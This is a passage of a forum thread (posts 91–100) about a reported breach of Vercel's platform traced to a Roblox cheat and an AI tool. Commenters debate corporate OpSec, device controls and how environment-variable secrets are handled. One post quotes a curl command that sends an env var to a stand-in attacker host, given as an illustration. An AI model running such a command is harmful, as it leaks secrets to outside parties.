I can see how this happened: the employee was home, his kid wanted to play some roblox, he installed roblox and gave the kid the laptop, the kid decided to install the cheat.
[deleted]
A Roblox cheat and one AI tool brought down Vercel's platform
91–100 of 186 posts
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#92Earlier quoted context omitted.
Let’s just say that OpSec at companies adopting AI is low across the board because security just isn’t a deciding feature at the moment. See McDonalds breach 2 years ago
As somebody who tried selling cybersecurity software: Cyber-related OpSec is bad in most companies, AI or not. If effort and budget is allocated to it at all it's usually to a box-checking exercise that is about optics, liability and staying eligible for insurance payouts
Right, and adding the shifting sands of AI security just makes it worse. AI isn't a technology that's improving security.
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#93Earlier quoted context omitted.
Let’s just say that OpSec at companies adopting AI is low across the board because security just isn’t a deciding feature at the moment. See McDonalds breach 2 years ago
As somebody who tried selling cybersecurity software: Cyber-related OpSec is bad in most companies, AI or not. If effort and budget is allocated to it at all it's usually to a box-checking exercise that is about optics, liability and staying eligible for insurance payouts
good joob
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#94Earlier quoted context omitted.
There isn't really a way around it.
There is -- you can expose a UNIX socket for serving credentials and allow access to it only from a whitelist of systemd services.
That works on a single persistent box, but unfortunately, that means giving up on autoscaling, which is not so nice for cloud applications.
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#95Re: A Roblox cheat and one AI tool brought down Vercel's platform
#96Feels like the bigger issue here is how much implicit trust we’re starting to place in these AI-integrated workflows. Tools that sit in the middle (like Context.ai) end up becoming a pretty large attack surface without feeling like one.
[dead]
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#97A frigging Roblox cheat... And I thought it was bad when my son got compromised by a Roblox cheat, but they only they grabbed his Gamepass cookies and bought 4 Minecraft licenses, which MS quickly refunded...
Yeah, I'm curious why a game cheat is allowed to run in the first place. Do these companies not have device controls, or do they just not care? Feels like the employee pulled a LastPass Plex move.
Roblox doesn’t care about anything other than squeezing money out of addicted children.
It’s not a competitive platform like say WoW or overwatch; nobody is really there to win and there are zero stakes if you do or don’t.
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#98Earlier quoted context omitted.
How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them. What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
Exactly. How do you play back the encrypted DVD without having the decryption key right there on the player for everyone to find?
Keepass has an option to "encrypt in memory" certain passwords, sensitive information.
The point of encryption is often times about what other software or hardware attacks are minimized or eliminated.
However, if someone figures out access to a running system, theres really no way to both allow an app to run and keep everything encrypted. It certainly is possible, like the way keepass encrypts items in memory, but if an attacker has root on a server, they just wait for it to be accessed if not outright find the key that encrypted it.
This is to say, 99.9% of the apps and these platforms arn't secure against this type of low level intrusion.
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#99I don't want to do the easy finger-pointing and scapegoating but honestly, what should happen to the Context.ai employee that thought it was a good idea to play games in their work machine and, on top of that, install cheats which are by definition of dubious provenance? I know defense in depth, security layers etc etc but there is also some personal responsibility at play here. We can chalk up the Vercel's employee…
I'd instead blame the IT department that let users install arbitrary software.
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#100I think this is wrong about what “sensitive” means here. AFAIK, all Vercel env cars are encrypted. The sensitive checkbox means that a develop looking at the env var can’t see what value is stored there. It’s a write-only value. Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless). If you don’t check that box, you can view th…
But if they are readable to the “developer” then they are readable to anyone who gets access to the developer’s Vercel credentials. If Vercel provides a way to avoid that that didn’t get used, that’s the failure. Sure, you can quibble with the exact understanding of the author over whether they were “encrypted” or not. That’s not really the key factor here.